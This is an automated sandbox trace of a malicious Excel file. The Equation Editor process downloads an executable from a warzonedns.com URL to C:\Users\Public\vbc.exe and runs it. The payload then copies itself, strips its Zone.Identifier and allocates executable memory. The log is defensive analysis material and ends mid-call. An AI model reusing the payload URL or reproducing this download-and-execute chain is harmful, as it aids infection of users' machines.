# Flog Txt Version 1 # Analyzer Version: 3.1.1 # Analyzer Build Date: Jul 31 2019 13:47:23 # Log Creation Date: 15.09.2019 14:56:25.008 Process: id = "1" image_name = "excel.exe" filename = "c:\\program files\\microsoft office\\root\\office16\\excel.exe" page_root = "0x2ae99000" os_pid = "0x994" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x0" cmd_line = "\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\"" cur_dir = "C:\\Users\\aETAdzjz\\Desktop\\" os_username = "YKYD69Q\\aETAdzjz" bitness = "64" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e8ca" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1 os_tid = 0xb8c Thread: id = 2 os_tid = 0xb88 Thread: id = 3 os_tid = 0xb84 Thread: id = 4 os_tid = 0xb80 Thread: id = 5 os_tid = 0xb78 Thread: id = 6 os_tid = 0xb74 Thread: id = 7 os_tid = 0xb6c Thread: id = 8 os_tid = 0xb64 Thread: id = 9 os_tid = 0xb60 Thread: id = 10 os_tid = 0xb50 Thread: id = 11 os_tid = 0xb08 Thread: id = 12 os_tid = 0xb04 Thread: id = 13 os_tid = 0xb00 Thread: id = 14 os_tid = 0xaf4 Thread: id = 15 os_tid = 0xaec Thread: id = 16 os_tid = 0xa9c Thread: id = 17 os_tid = 0xa98 Thread: id = 18 os_tid = 0xa94 Thread: id = 19 os_tid = 0xa90 Thread: id = 20 os_tid = 0xa8c Thread: id = 21 os_tid = 0xa88 Thread: id = 22 os_tid = 0x9ec Thread: id = 23 os_tid = 0x9e4 Thread: id = 24 os_tid = 0x9e0 Thread: id = 25 os_tid = 0x9dc Thread: id = 26 os_tid = 0x9d8 Thread: id = 27 os_tid = 0x9b4 Thread: id = 28 os_tid = 0x9b0 Thread: id = 29 os_tid = 0x9ac Thread: id = 30 os_tid = 0x9a8 Thread: id = 31 os_tid = 0x9a4 Thread: id = 32 os_tid = 0x9a0 Thread: id = 33 os_tid = 0x998 Thread: id = 34 os_tid = 0x500 Thread: id = 35 os_tid = 0x440 Thread: id = 150 os_tid = 0x40c Process: id = "2" image_name = "eqnedt32.exe" filename = "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\equation\\eqnedt32.exe" page_root = "0x4ef5b000" os_pid = "0x6f4" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "rpc_server" parent_id = "1" os_parent_pid = "0x994" cmd_line = "\"C:\\Program Files\\Microsoft Office\\Root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE\" -Embedding" cur_dir = "C:\\Windows\\system32\\" os_username = "YKYD69Q\\aETAdzjz" bitness = "32" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e8ca" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 36 os_tid = 0xc0 [0057.316] GlobalLock (hMem=0x490074) returned 0x38f0020 [0057.318] GetProcAddress (hModule=0x769e0000, lpProcName="ExpandEnvironmentStringsW") returned 0x769f4173 [0057.318] ExpandEnvironmentStringsW (in: lpSrc="%PUBLIC%\\vbc.exe", lpDst=0x18efb4, nSize=0x104 | out: lpDst="C:\\Users\\Public\\vbc.exe") returned 0x18 [0057.318] LoadLibraryW (lpLibFileName="UrlMon") returned 0x756b0000 [0058.542] GetProcAddress (hModule=0x756b0000, lpProcName="URLDownloadToFileW") returned 0x757466f6 [0058.543] URLDownloadToFileW (param_1=0x0, param_2="http://workbigfinetonychuckgoodallarefinezynovaexploitgood.warzonedns.com/bigb/win32.exe", param_3="C:\\Users\\Public\\vbc.exe" (normalized: "c:\\users\\public\\vbc.exe"), param_4=0x0, param_5=0x0) returned 0x0 [0062.033] LoadLibraryW (lpLibFileName="shell32") returned 0x75890000 [0062.033] GetProcAddress (hModule=0x75890000, lpProcName="ShellExecuteW") returned 0x758a3c71 [0062.033] ShellExecuteW (hwnd=0x0, lpOperation=0x0, lpFile="C:\\Users\\Public\\vbc.exe", lpParameters=0x0, lpDirectory=0x0, nShowCmd=1) Thread: id = 37 os_tid = 0x5a0 Thread: id = 38 os_tid = 0x8ac Thread: id = 39 os_tid = 0x8b4 Thread: id = 40 os_tid = 0x8c4 Thread: id = 41 os_tid = 0x86c Thread: id = 42 os_tid = 0x864 Thread: id = 43 os_tid = 0x768 Thread: id = 59 os_tid = 0x8c8 Thread: id = 60 os_tid = 0x2c8 Process: id = "3" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x11857000" os_pid = "0xf0" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "2" os_parent_pid = "0x6f4" cmd_line = "C:\\Windows\\system32\\svchost.exe -k LocalService" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\EventSystem" [0xe], "NT SERVICE\\fdPHost" [0xa], "NT SERVICE\\lltdsvc" [0xa], "NT SERVICE\\netprofm" [0xa], "NT SERVICE\\nsi" [0xa], "NT SERVICE\\sppuinotify" [0xa], "NT SERVICE\\SstpSvc" [0xa], "NT SERVICE\\THREADORDER" [0xa], "NT SERVICE\\W32Time" [0xa], "NT SERVICE\\WdiServiceHost" [0xa], "NT SERVICE\\WebClient" [0xa], "NT SERVICE\\WinHttpAutoProxySvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000e25b" [0xc000000f], "LOCAL" [0x7] Thread: id = 44 os_tid = 0xabc Thread: id = 45 os_tid = 0xa64 Thread: id = 46 os_tid = 0x98c Thread: id = 47 os_tid = 0x7e0 Thread: id = 48 os_tid = 0x7c4 Thread: id = 49 os_tid = 0x7ac Thread: id = 50 os_tid = 0x788 Thread: id = 51 os_tid = 0x778 Thread: id = 52 os_tid = 0x770 Thread: id = 53 os_tid = 0x6bc Thread: id = 54 os_tid = 0x144 Thread: id = 55 os_tid = 0x15c Thread: id = 56 os_tid = 0x128 Thread: id = 57 os_tid = 0x12c Thread: id = 58 os_tid = 0x11c Thread: id = 73 os_tid = 0x364 Process: id = "4" image_name = "vbc.exe" filename = "c:\\users\\public\\vbc.exe" page_root = "0x5ddb2000" os_pid = "0x8e0" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "2" os_parent_pid = "0x6f4" cmd_line = "\"C:\\Users\\Public\\vbc.exe\" " cur_dir = "C:\\Windows\\system32\\" os_username = "YKYD69Q\\aETAdzjz" bitness = "32" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e8ca" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 61 os_tid = 0x8cc [0066.529] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0067.662] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\vbc.exe.config", nBufferLength=0x105, lpBuffer=0x3fe648, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\vbc.exe.config", lpFilePart=0x0) returned 0x1e [0067.812] GetCurrentProcess () returned 0xffffffff [0067.813] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x3fe9f0 | out: TokenHandle=0x3fe9f0*=0x1d4) returned 1 [0067.818] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", nBufferLength=0x105, lpBuffer=0x3fe4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpFilePart=0x0) returned 0x2e [0067.855] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x3fe9f0 | out: lpFileInformation=0x3fe9f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92785300, ftCreationTime.dwHighDateTime=0x1cd5d48, ftLastAccessTime.dwLowDateTime=0x346650f0, ftLastAccessTime.dwHighDateTime=0x1d2f186, ftLastWriteTime.dwLowDateTime=0x92785300, ftLastWriteTime.dwHighDateTime=0x1cd5d48, nFileSizeHigh=0x0, nFileSizeLow=0x8c8f)) returned 1 [0067.856] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config", nBufferLength=0x105, lpBuffer=0x3fe49c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config", lpFilePart=0x0) returned 0x43 [0067.858] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x3fe9f0 | out: lpFileInformation=0x3fe9f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92785300, ftCreationTime.dwHighDateTime=0x1cd5d48, ftLastAccessTime.dwLowDateTime=0x346650f0, ftLastAccessTime.dwHighDateTime=0x1d2f186, ftLastWriteTime.dwLowDateTime=0x92785300, ftLastWriteTime.dwHighDateTime=0x1cd5d48, nFileSizeHigh=0x0, nFileSizeLow=0x8c8f)) returned 1 [0067.859] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config", nBufferLength=0x105, lpBuffer=0x3fe428, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config", lpFilePart=0x0) returned 0x43 [0067.860] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x3fe91c) returned 1 [0067.860] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\machine.config"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1e4 [0067.861] GetFileType (hFile=0x1e4) returned 0x1 [0067.861] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x3fe918) returned 1 [0067.861] GetFileType (hFile=0x1e4) returned 0x1 [0067.894] GetFileSize (in: hFile=0x1e4, lpFileSizeHigh=0x3fe9e4 | out: lpFileSizeHigh=0x3fe9e4*=0x0) returned 0x8c8f [0067.895] ReadFile (in: hFile=0x1e4, lpBuffer=0x22f8ce0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x3fe9a0, lpOverlapped=0x0 | out: lpBuffer=0x22f8ce0*, lpNumberOfBytesRead=0x3fe9a0*=0x1000, lpOverlapped=0x0) returned 1 [0067.912] ReadFile (in: hFile=0x1e4, lpBuffer=0x22f8ce0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x3fe83c, lpOverlapped=0x0 | out: lpBuffer=0x22f8ce0*, lpNumberOfBytesRead=0x3fe83c*=0x1000, lpOverlapped=0x0) returned 1 [0067.919] ReadFile (in: hFile=0x1e4, lpBuffer=0x22f8ce0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x3fe6f0, lpOverlapped=0x0 | out: lpBuffer=0x22f8ce0*, lpNumberOfBytesRead=0x3fe6f0*=0x1000, lpOverlapped=0x0) returned 1 [0067.920] ReadFile (in: hFile=0x1e4, lpBuffer=0x22f8ce0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x3fe6f0, lpOverlapped=0x0 | out: lpBuffer=0x22f8ce0*, lpNumberOfBytesRead=0x3fe6f0*=0x1000, lpOverlapped=0x0) returned 1 [0067.920] ReadFile (in: hFile=0x1e4, lpBuffer=0x22f8ce0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x3fe6f0, lpOverlapped=0x0 | out: lpBuffer=0x22f8ce0*, lpNumberOfBytesRead=0x3fe6f0*=0x1000, lpOverlapped=0x0) returned 1 [0067.920] ReadFile (in: hFile=0x1e4, lpBuffer=0x22f8ce0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x3fe628, lpOverlapped=0x0 | out: lpBuffer=0x22f8ce0*, lpNumberOfBytesRead=0x3fe628*=0x1000, lpOverlapped=0x0) returned 1 [0067.925] ReadFile (in: hFile=0x1e4, lpBuffer=0x22f8ce0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x3fe7a4, lpOverlapped=0x0 | out: lpBuffer=0x22f8ce0*, lpNumberOfBytesRead=0x3fe7a4*=0x1000, lpOverlapped=0x0) returned 1 [0067.926] ReadFile (in: hFile=0x1e4, lpBuffer=0x22f8ce0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x3fe6b8, lpOverlapped=0x0 | out: lpBuffer=0x22f8ce0*, lpNumberOfBytesRead=0x3fe6b8*=0x1000, lpOverlapped=0x0) returned 1 [0067.926] ReadFile (in: hFile=0x1e4, lpBuffer=0x22f8ce0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x3fe6b8, lpOverlapped=0x0 | out: lpBuffer=0x22f8ce0*, lpNumberOfBytesRead=0x3fe6b8*=0xc8f, lpOverlapped=0x0) returned 1 [0067.926] ReadFile (in: hFile=0x1e4, lpBuffer=0x22f8ce0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x3fe778, lpOverlapped=0x0 | out: lpBuffer=0x22f8ce0*, lpNumberOfBytesRead=0x3fe778*=0x0, lpOverlapped=0x0) returned 1 [0067.927] CloseHandle (hObject=0x1e4) returned 1 [0067.928] GetCurrentProcess () returned 0xffffffff [0067.928] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x3feb24 | out: TokenHandle=0x3feb24*=0x1e4) returned 1 [0067.929] GetCurrentProcess () returned 0xffffffff [0067.929] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x3feb24 | out: TokenHandle=0x3feb24*=0x1e8) returned 1 [0067.929] GetCurrentProcess () returned 0xffffffff [0067.929] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x3fe9f0 | out: TokenHandle=0x3fe9f0*=0x1ec) returned 1 [0067.929] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\vbc.exe.config" (normalized: "c:\\users\\public\\vbc.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x3fe9f0 | out: lpFileInformation=0x3fe9f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0067.929] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\vbc.exe.config", nBufferLength=0x105, lpBuffer=0x3fe49c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\vbc.exe.config", lpFilePart=0x0) returned 0x1e [0067.930] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\vbc.exe.config" (normalized: "c:\\users\\public\\vbc.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x3fe9f0 | out: lpFileInformation=0x3fe9f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0067.930] GetCurrentProcess () returned 0xffffffff [0067.930] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x3feb24 | out: TokenHandle=0x3feb24*=0x1f0) returned 1 [0067.930] GetCurrentProcess () returned 0xffffffff [0067.930] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x3feb24 | out: TokenHandle=0x3feb24*=0x1f4) returned 1 [0067.942] GetCurrentProcess () returned 0xffffffff [0067.942] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x3fe8ec | out: TokenHandle=0x3fe8ec*=0x1f8) returned 1 [0067.963] GetCurrentProcess () returned 0xffffffff [0067.963] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x3fe8fc | out: TokenHandle=0x3fe8fc*=0x1fc) returned 1 [0068.002] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", nBufferLength=0x105, lpBuffer=0x3fdf70, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpFilePart=0x0) returned 0x2e [0068.005] GetModuleHandleW (lpModuleName="webengine4.dll") returned 0x0 [0068.013] LoadLibraryW (lpLibFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\\\webengine4.dll") returned 0x74af0000 [0068.284] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0068.284] CoUninitialize () [0068.321] EtwEventRegister () returned 0x0 [0068.331] GetCurrentProcess () returned 0xffffffff [0068.331] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x3fe484 | out: TokenHandle=0x3fe484*=0x230) returned 1 [0068.333] GetCurrentProcess () returned 0xffffffff [0068.333] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x3fe458 | out: TokenHandle=0x3fe458*=0x24c) returned 1 [0068.334] GetTokenInformation (in: TokenHandle=0x230, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x3fe48c | out: TokenInformation=0x0, ReturnLength=0x3fe48c) returned 0 [0068.334] LocalAlloc (uFlags=0x0, uBytes=0x24) returned 0x50ded0 [0068.334] GetTokenInformation (in: TokenHandle=0x230, TokenInformationClass=0x1, TokenInformation=0x50ded0, TokenInformationLength=0x24, ReturnLength=0x3fe48c | out: TokenInformation=0x50ded0, ReturnLength=0x3fe48c) returned 1 [0068.338] LocalFree (hMem=0x50ded0) returned 0x0 [0068.340] LsaOpenPolicy (in: SystemName=0x0, ObjectAttributes=0x3fe3ac, DesiredAccess=0x800, PolicyHandle=0x3fe36c | out: PolicyHandle=0x3fe36c) returned 0x0 [0068.341] LsaLookupSids (in: PolicyHandle=0x509258, Count=0x1, Sids=0x2315564*=0x23154d0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x68)), ReferencedDomains=0x3fe388, Names=0x3fe37c | out: ReferencedDomains=0x3fe388, Names=0x3fe37c) returned 0x0 [0068.342] LsaClose (ObjectHandle=0x509258) returned 0x0 [0068.343] LsaFreeMemory (Buffer=0x4ff350) returned 0x0 [0068.343] LsaFreeMemory (Buffer=0x50ded0) returned 0x0 [0068.639] FindResourceA (hModule=0x0, lpName=0x71, lpType=0x17) returned 0xd400d8 [0068.645] SizeofResource (hModule=0x0, hResInfo=0xd400d8) returned 0x6f200 [0068.651] LoadResource (hModule=0x0, hResInfo=0xd400d8) returned 0xd50924 [0068.658] LockResource (hResData=0xd50924) returned 0xd50924 [0072.324] CoGetContextToken (in: pToken=0x3ff6d0 | out: pToken=0x3ff6d0) returned 0x0 [0072.324] CObjectContext::QueryInterface () returned 0x0 [0072.324] CObjectContext::GetCurrentThreadType () returned 0x0 [0072.324] Release () returned 0x0 [0072.325] CoGetContextToken (in: pToken=0x3ff3ec | out: pToken=0x3ff3ec) returned 0x0 [0072.325] CObjectContext::QueryInterface () returned 0x0 [0072.325] CObjectContext::GetCurrentThreadType () returned 0x0 [0072.325] Release () returned 0x0 [0072.326] CoGetContextToken (in: pToken=0x3ff3ec | out: pToken=0x3ff3ec) returned 0x0 [0072.326] CObjectContext::QueryInterface () returned 0x0 [0072.326] CObjectContext::GetCurrentThreadType () returned 0x0 [0072.326] Release () returned 0x0 [0072.329] CoGetContextToken (in: pToken=0x3ff3ec | out: pToken=0x3ff3ec) returned 0x0 [0072.329] CObjectContext::QueryInterface () returned 0x0 [0072.329] CObjectContext::GetCurrentThreadType () returned 0x0 [0072.329] Release () returned 0x0 [0072.329] CoGetContextToken (in: pToken=0x3ff404 | out: pToken=0x3ff404) returned 0x0 [0072.329] CObjectContext::QueryInterface () returned 0x0 [0072.329] CObjectContext::GetCurrentThreadType () returned 0x0 [0072.329] Release () returned 0x0 [0072.330] CoUninitialize () Thread: id = 67 os_tid = 0x90c Thread: id = 68 os_tid = 0x940 [0066.530] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0068.998] CloseHandle (hObject=0x1f4) returned 1 [0068.998] CloseHandle (hObject=0x1f0) returned 1 [0068.998] CloseHandle (hObject=0x230) returned 1 [0068.998] CloseHandle (hObject=0x1ec) returned 1 [0068.998] CloseHandle (hObject=0x1e8) returned 1 [0068.999] CloseHandle (hObject=0x1fc) returned 1 [0068.999] CloseHandle (hObject=0x1e4) returned 1 [0068.999] CloseHandle (hObject=0x1f8) returned 1 [0068.999] CloseHandle (hObject=0x24c) returned 1 [0068.999] CloseHandle (hObject=0x1d4) returned 1 [0072.326] EtwEventUnregister () returned 0x0 [0072.329] SleepEx (dwMilliseconds=0xffffffff, bAlertable=0) Thread: id = 69 os_tid = 0x944 Thread: id = 70 os_tid = 0x93c [0068.335] CoGetContextToken (in: pToken=0x4bafc84 | out: pToken=0x4bafc84) returned 0x0 [0068.335] CObjectContext::QueryInterface () returned 0x0 [0068.335] CObjectContext::GetCurrentThreadType () returned 0x0 [0068.335] Release () returned 0x0 [0068.335] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0068.336] SleepEx (dwMilliseconds=0xffffffff, bAlertable=1) returned 0xc0 [0068.336] SleepEx (dwMilliseconds=0x3a98, bAlertable=1) Thread: id = 71 os_tid = 0x92c [0068.680] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0070.705] CoTaskMemAlloc (cb=0x20c) returned 0x52eb10 [0070.706] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x52eb10 | out: pszPath="C:\\Users\\aETAdzjz") returned 0x0 [0070.709] CoTaskMemFree (pv=0x52eb10) [0070.709] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz", nBufferLength=0x105, lpBuffer=0x4e8ec74, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz", lpFilePart=0x0) returned 0x11 [0070.711] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\vbc.exe", nBufferLength=0x105, lpBuffer=0x4e8ec94, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\vbc.exe", lpFilePart=0x0) returned 0x17 [0070.714] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\s.exe", nBufferLength=0x105, lpBuffer=0x4e8ed18, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\s.exe", lpFilePart=0x0) returned 0x17 [0070.714] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x4e8f178) returned 1 [0070.715] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\s.exe" (normalized: "c:\\users\\aetadzjz\\s.exe"), fInfoLevelId=0x0, lpFileInformation=0x4e8f1f4 | out: lpFileInformation=0x4e8f1f4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0070.715] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x4e8f174) returned 1 [0070.718] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\vbc.exe", nBufferLength=0x105, lpBuffer=0x4e8eccc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\vbc.exe", lpFilePart=0x0) returned 0x17 [0070.718] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\s.exe", nBufferLength=0x105, lpBuffer=0x4e8eccc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\s.exe", lpFilePart=0x0) returned 0x17 [0070.718] CopyFileW (lpExistingFileName="C:\\Users\\Public\\vbc.exe" (normalized: "c:\\users\\public\\vbc.exe"), lpNewFileName="C:\\Users\\aETAdzjz\\s.exe" (normalized: "c:\\users\\aetadzjz\\s.exe"), bFailIfExists=1) returned 1 [0070.771] DeleteFileA (lpFileName="C:\\Users\\aETAdzjz\\s.exe:Zone.Identifier" (normalized: "c:\\users\\aetadzjz\\s.exe:zone.identifier")) returned 0 [0070.829] VirtualAlloc (lpAddress=0x0, dwSize=0x2605, flAllocationType=0x3000, flProtect=0x40) returned 0x400000 [0070.836] strlen (_Str="kernel32.dll") returned 0xc [0070.836] mbstowcs (in: _Dest=0x4e8cfa8, _Source="kernel32.dll", _MaxCount=0xd | out: _Dest="kernel32.dll") returned 0xc [0070.836] strlen (_Str="KERNEL32.DLL") returned 0xc [0070.836] mbstowcs (in: _Dest=0x4e8cda0, _Source="KERNEL32.DLL", _MaxCount=0xd | out: _Dest="KERNEL32.DLL") returned 0xc [0070.836] strlen (_Str="\\KnownDlls32\\ntdll.dll") returned 0x16 [0070.836] mbstowcs (in: _Dest=0x4e8d1b0, _Source="\\KnownDlls32\\ntdll.dll", _MaxCount=0x17 | out: _Dest="\\KnownDlls32\\ntdll.dll") returned 0x16 [0070.836] strlen (_Str="\\KnownDlls32\\advapi32.dll") returned 0x19 [0070.836] mbstowcs (in: _Dest=0x4e8d3b8, _Source="\\KnownDlls32\\advapi32.dll", _MaxCount=0x1a | out: _Dest="\\KnownDlls32\\advapi32.dll") returned 0x19 [0070.836] strlen (_Str="\\KnownDlls32\\kernel32.dll") returned 0x19 [0070.836] mbstowcs (in: _Dest=0x4e8e3f8, _Source="\\KnownDlls32\\kernel32.dll", _MaxCount=0x1a | out: _Dest="\\KnownDlls32\\kernel32.dll") returned 0x19 [0070.836] strlen (_Str="\\KnownDlls32\\user32.dll") returned 0x17 [0070.836] mbstowcs (in: _Dest=0x4e8e1f0, _Source="\\KnownDlls32\\user32.dll", _MaxCount=0x18 | out: _Dest="\\KnownDlls32\\user32.dll") returned 0x17 [0070.836] strlen (_Str="\\KnownDlls32\\Ole32.dll") returned 0x16 [0070.836] mbstowcs (in: _Dest=0x4e8d9d0, _Source="\\KnownDlls32\\Ole32.dll", _MaxCount=0x17 | out: _Dest="\\KnownDlls32\\Ole32.dll") returned 0x16 [0070.836] strlen (_Str="\\KnownDlls\\ntdll.dll") returned 0x14 [0070.836] mbstowcs (in: _Dest=0x4e8dbd8, _Source="\\KnownDlls\\ntdll.dll", _MaxCount=0x15 | out: _Dest="\\KnownDlls\\ntdll.dll") returned 0x14 [0070.836] strlen (_Str="\\KnownDlls\\advapi32.dll") returned 0x17 [0070.836] mbstowcs (in: _Dest=0x4e8dfe8, _Source="\\KnownDlls\\advapi32.dll", _MaxCount=0x18 | out: _Dest="\\KnownDlls\\advapi32.dll") returned 0x17 [0070.836] strlen (_Str="\\KnownDlls\\kernel32.dll") returned 0x17 [0070.836] mbstowcs (in: _Dest=0x4e8d7c8, _Source="\\KnownDlls\\kernel32.dll", _MaxCount=0x18 | out: _Dest="\\KnownDlls\\kernel32.dll") returned 0x17 [0070.836] strlen (_Str="\\KnownDlls\\user32.dll") returned 0x15 [0070.836] mbstowcs (in: _Dest=0x4e8dde0, _Source="\\KnownDlls\\user32.dll", _MaxCount=0x16 | out: _Dest="\\KnownDlls\\user32.dll") returned 0x15 [0070.836] strlen (_Str="\\KnownDlls\\Ole32.dll") 